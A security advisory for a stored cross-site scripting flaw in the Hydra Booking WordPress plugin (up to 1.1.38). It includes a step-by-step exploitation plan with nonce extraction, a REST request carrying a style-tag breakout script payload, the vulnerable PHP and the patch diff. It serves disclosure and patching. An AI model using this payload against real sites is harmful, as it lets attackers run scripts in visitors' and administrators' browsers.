Hydra Booking <= 1.1.38 - Authenticated (Hydra host+) Stored Cross-Site Scripting
Description
The Hydra Booking plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.1.38 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with hydra host-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.1.38What Changed in the Fix
Changes introduced in v1.1.39
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-39541 ## 1. Vulnerability Summary The **Hydra Booking** plugin for WordPress is vulnerable to **Stored Cross-Site Scripting (XSS)** in versions up to and including 1.1.38. The vulnerability exists because the plugin fails to sanitize and escape settings value…
Show full research plan
Exploitation Research Plan - CVE-2026-39541
1. Vulnerability Summary
The Hydra Booking plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to and including 1.1.38. The vulnerability exists because the plugin fails to sanitize and escape settings values (specifically appearance and theme colors) before storing them and subsequently rendering them within an inline <style> block. An authenticated attacker with tfhb_host (Hydra host) privileges or higher can inject malicious JavaScript that executes in the context of any user visiting the site (frontend or admin).
2. Attack Vector Analysis
- Endpoint:
/wp-json/hydra-booking/v1/settings/appearance-settings/update - HTTP Method:
POST - Payload Parameter:
primary_color(within a JSON body) - Authentication: Authenticated, user role
tfhb_hostor higher. - Permissions: The endpoint is protected by a permission callback (likely
tfhb_manage_options_permissionor similar), which thetfhb_hostrole is granted or can bypass due to logic flaws in the plugin's capability mapping. - Preconditions: A user with the
tfhb_hostrole must be created.
3. Code Flow
- Injection Sink: In
app/Enqueue.php, the functiontfhb_enqueue_scripts()retrieves settings from the option_tfhb_appearance_settings.- It extracts values like
$tfhb_primary_color = $_tfhb_appearance_settings['primary_color']. - It constructs a CSS string:
$tfhb_theme_css = ":root { --tfhb-primary-color: $tfhb_primary_color; ... }". - It outputs this via
wp_add_inline_style( 'tfhb-style', $tfhb_theme_css ). - Crucially, the variables are concatenated directly into the CSS string without any sanitization or escaping.
- It extracts values like
- Data Storage: In
admin/Controller/SettingsController.php, the REST route/settings/appearance-settings/updatecalls a handler (e.g.,UpdateAppearanceSettings) which takes the POST body and saves it to the_tfhb_appearance_settingsoption usingupdate_option().
4. Nonce Acquisition Strategy
The REST API requires a valid wp_rest nonce. This nonce is localized by the plugin for the React-based admin interface.
- Identify Page: The script
tfhb-admin-coreis enqueued on the Hydra Booking admin page (admin.php?page=hydra-booking). - Navigation: Navigate to
/wp-admin/admin.php?page=hydra-bookingas thetfhb_hostuser. - Extraction: Use
browser_evalto extract the nonce from the localized JavaScript objecttfhb_core_apps.- JavaScript Variable:
window.tfhb_core_apps - Key:
rest_nonce - Command:
browser_eval("window.tfhb_core_apps?.rest_nonce")
- JavaScript Variable:
5. Exploitation Strategy
- Setup Host User: Ensure a user exists with the role
tfhb_host. - Extract Nonce:
- Log in as the
tfhb_hostuser. - Navigate to
http://localhost:8080/wp-admin/admin.php?page=hydra-booking. - Run
browser_eval("window.tfhb_core_apps.rest_nonce")to get the$REST_NONCE.
- Log in as the
- Submit Payload:
- Use
http_requestto send a POST request to the REST endpoint. - URL:
http://localhost:8080/wp-json/hydra-booking/v1/settings/appearance-settings/update - Headers:
Content-Type: application/jsonX-WP-Nonce: $REST_NONCE
- Body:
{ "primary_color": "red; } </style><script>alert(document.domain)</script><style> .dummy { color: " }
- Use
- Trigger Execution: Visit the site homepage or any admin page where the plugin enqueues styles. The injected script will execute immediately.
6. Test Data Setup
- User: Create a user
host_attackerwith the passwordpassword123and roletfhb_host. - Plugin State: Ensure the Hydra Booking plugin is active.
- Shortcode: Create a page with the shortcode
[hydra_booking]to ensure frontend scripts/styles are loaded if necessary.
7. Expected Results
- The REST API should return a success message (e.g.,
{"status": true, ...}). - The WordPress option
_tfhb_appearance_settingswill now contain the XSS payload. - When visiting the homepage, the HTML source will contain:
<style id='tfhb-style-inline-css' type='text/css'> :root { --tfhb-primary-color: red; } </style><script>alert(document.domain)</script><style> .dummy { color: ; ... } </style> - A browser alert box showing the document domain will appear.
8. Verification Steps
- Check Option Value: Use WP-CLI to verify the stored value:
wp option get _tfhb_appearance_settings
- Verify Payload in Source: Use
http_request(GET) to the homepage and grep for the script tag:- Look for
<script>alert(document.domain)</script>.
- Look for
9. Alternative Approaches
If the appearance-settings update fails, target the Frontend Dashboard settings which are also vulnerable to CSS breakout in admin/Controller/Enqueue.php.
- Endpoint:
/wp-json/hydra-booking/v1/settings/general/update(Verify if this updates the_tfhb_frontend_dashboard_settingsoption). - Target Page: Any page using the
tfhb-frontend-dashboard.phptemplate. - Payload: Same CSS breakout technique applied to the
primery_defaultparameter.
Summary
The Hydra Booking plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) due to insufficient sanitization and output escaping of theme and appearance settings. Authenticated attackers with 'tfhb_host' privileges or higher can inject arbitrary JavaScript into settings that are subsequently rendered within inline CSS blocks on the frontend and admin dashboard.
Vulnerable Code
// File: app/Enqueue.php // Lines 32-58 $tfhb_primary_color = ! empty( $_tfhb_appearance_settings['primary_color'] ) ? $_tfhb_appearance_settings['primary_color'] : '#2E6B38'; $tfhb_primary_hover = ! empty( $_tfhb_appearance_settings['primary_hover'] ) ? $_tfhb_appearance_settings['primary_hover'] : '#4C9959'; $tfhb_secondary_color = ! empty( $_tfhb_appearance_settings['secondary_color'] ) ? $_tfhb_appearance_settings['secondary_color'] : '#273F2B'; $tfhb_secondary_hover = ! empty( $_tfhb_appearance_settings['secondary_hover'] ) ? $_tfhb_appearance_settings['secondary_hover'] : '#E1F2E4'; $tfhb_text_title_color = ! empty( $_tfhb_appearance_settings['text_title_color'] ) ? $_tfhb_appearance_settings['text_title_color'] : '#141915'; $tfhb_paragraph_color = ! empty( $_tfhb_appearance_settings['paragraph_color'] ) ? $_tfhb_appearance_settings['paragraph_color'] : '#273F2B'; $tfhb_surface_primary = ! empty( $_tfhb_appearance_settings['surface_primary'] ) ? $_tfhb_appearance_settings['surface_primary'] : '#C0D8C4'; $tfhb_surface_background = ! empty( $_tfhb_appearance_settings['surface_background'] ) ? $_tfhb_appearance_settings['surface_background'] : '#EEF6F0'; $tfhb_theme_css = " :root { --tfhb-primary-color: $tfhb_primary_color; --tfhb-primary-hover-color: $tfhb_primary_hover; --tfhb-secondary-color: $tfhb_secondary_color; --tfhb-secondary-hover-color: $tfhb_secondary_hover; --tfhb-paragraph-color: $tfhb_paragraph_color; --tfhb-text-title-color: $tfhb_text_title_color; --tfhb-surface-primary-color: $tfhb_surface_primary; --tfhb-surface-background-color: $tfhb_surface_background; } "; wp_add_inline_style( 'tfhb-style', $tfhb_theme_css ); --- // File: admin/Controller/Enqueue.php // Lines 121-147 if($front_end_dashboard == true){ $settings = !empty(get_option('_tfhb_frontend_dashboard_settings')) ? get_option('_tfhb_frontend_dashboard_settings') : array(); $primery_default = isset($settings['general']['primery_default']) ? $settings['general']['primery_default'] : '#2E6B38'; $primery_hover = isset($settings['general']['primery_hover']) ? $settings['general']['primery_hover'] : '#4C9959'; // ... (truncated) $custom_css = " :root { --tfhb-admin-primary-default: $primery_default; --tfhb-admin-primary-hover: $primery_hover; // ... (truncated) } "; wp_add_inline_style('tfhb-admin-style', $custom_css); }
Security Fix
@@ -121,17 +121,18 @@ if($front_end_dashboard == true){ $settings = !empty(get_option('_tfhb_frontend_dashboard_settings')) ? get_option('_tfhb_frontend_dashboard_settings') : array(); - $primery_default = isset($settings['general']['primery_default']) ? $settings['general']['primery_default'] : '#2E6B38'; - $primery_hover = isset($settings['general']['primery_hover']) ? $settings['general']['primery_hover'] : '#4C9959'; - $secondary_default = isset($settings['general']['secondary_default']) ? $settings['general']['secondary_default'] : '#273F2B'; - $secondary_hover = isset($settings['general']['secondary_hover']) ? $settings['general']['secondary_hover'] : '#E1F2E4'; - $text_title = isset($settings['general']['text_title']) ? $settings['general']['text_title'] : '#141915'; - $text_paragraph = isset($settings['general']['text_paragraph']) ? $settings['general']['text_paragraph'] : '#273F2B'; - $surface_primary = isset($settings['general']['surface_primary']) ? $settings['general']['surface_primary'] : '#F9FBF9'; - $surface_background = isset($settings['general']['surface_background']) ? $settings['general']['surface_background'] : '#C0D8C4'; - $surface_border = isset($settings['general']['surface_border']) ? $settings['general']['surface_border'] : '#C0D8C4'; - $surface_border_hover = isset($settings['general']['surface_border_hover']) ? $settings['general']['surface_border_hover'] : '#211319'; - $surface_input_field = isset($settings['general']['surface_input_field']) ? $settings['general']['surface_input_field'] : '#56765B'; + // Validate color values - only allow valid hex colors (#RGB or #RRGGBB format) + $primery_default = $this->validate_hex_color( $settings['general']['primery_default'] ?? '#2E6B38', '#2E6B38' ); + $primery_hover = $this->validate_hex_color( $settings['general']['primery_hover'] ?? '#4C9959', '#4C9959' ); + $secondary_default = $this->validate_hex_color( $settings['general']['secondary_default'] ?? '#273F2B', '#273F2B' ); + $secondary_hover = $this->validate_hex_color( $settings['general']['secondary_hover'] ?? '#E1F2E4', '#E1F2E4' ); + $text_title = $this->validate_hex_color( $settings['general']['text_title'] ?? '#141915', '#141915' ); + $text_paragraph = $this->validate_hex_color( $settings['general']['text_paragraph'] ?? '#273F2B', '#273F2B' ); + $surface_primary = $this->validate_hex_color( $settings['general']['surface_primary'] ?? '#F9FBF9', '#F9FBF9' ); + $surface_background = $this->validate_hex_color( $settings['general']['surface_background'] ?? '#C0D8C4', '#C0D8C4' ); + $surface_border = $this->validate_hex_color( $settings['general']['surface_border'] ?? '#C0D8C4', '#C0D8C4' ); + $surface_border_hover = $this->validate_hex_color( $settings['general']['surface_border_hover'] ?? '#211319', '#211319' ); + $surface_input_field = $this->validate_hex_color( $settings['general']['surface_input_field'] ?? '#56765B', '#56765B' ); $custom_css = " :root { --tfhb-admin-primary-default: $primery_default; @@ -154,4 +155,29 @@ wp_enqueue_media(); } } + + /** + * Validate and sanitize hex color values. + */ + private function validate_hex_color( $color, $default_color = '#000000' ) { + if ( empty( $color ) ) { + return $default_color; + } + $color = trim( $color ); + if ( preg_match( '/^#([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/', $color ) ) { + return $color; + } + return $default_color; + }
Exploit Outline
1. Authenticate to the WordPress site with a user having the 'tfhb_host' role. 2. Navigate to the Hydra Booking admin page to extract the REST API nonce from the `window.tfhb_core_apps.rest_nonce` global variable. 3. Send a POST request to the `/wp-json/hydra-booking/v1/settings/appearance-settings/update` REST endpoint. 4. In the JSON request body, set a color parameter (e.g., `primary_color`) to a payload that closes the CSS block and style tag, then executes JavaScript: `red; } </style><script>alert(document.domain)</script><style> .dummy { color: `. 5. The payload will be saved to the database without sanitization. 6. Visit any page on the site where the plugin enqueues styles (e.g., the homepage or a page with the booking shortcode) to trigger the script execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.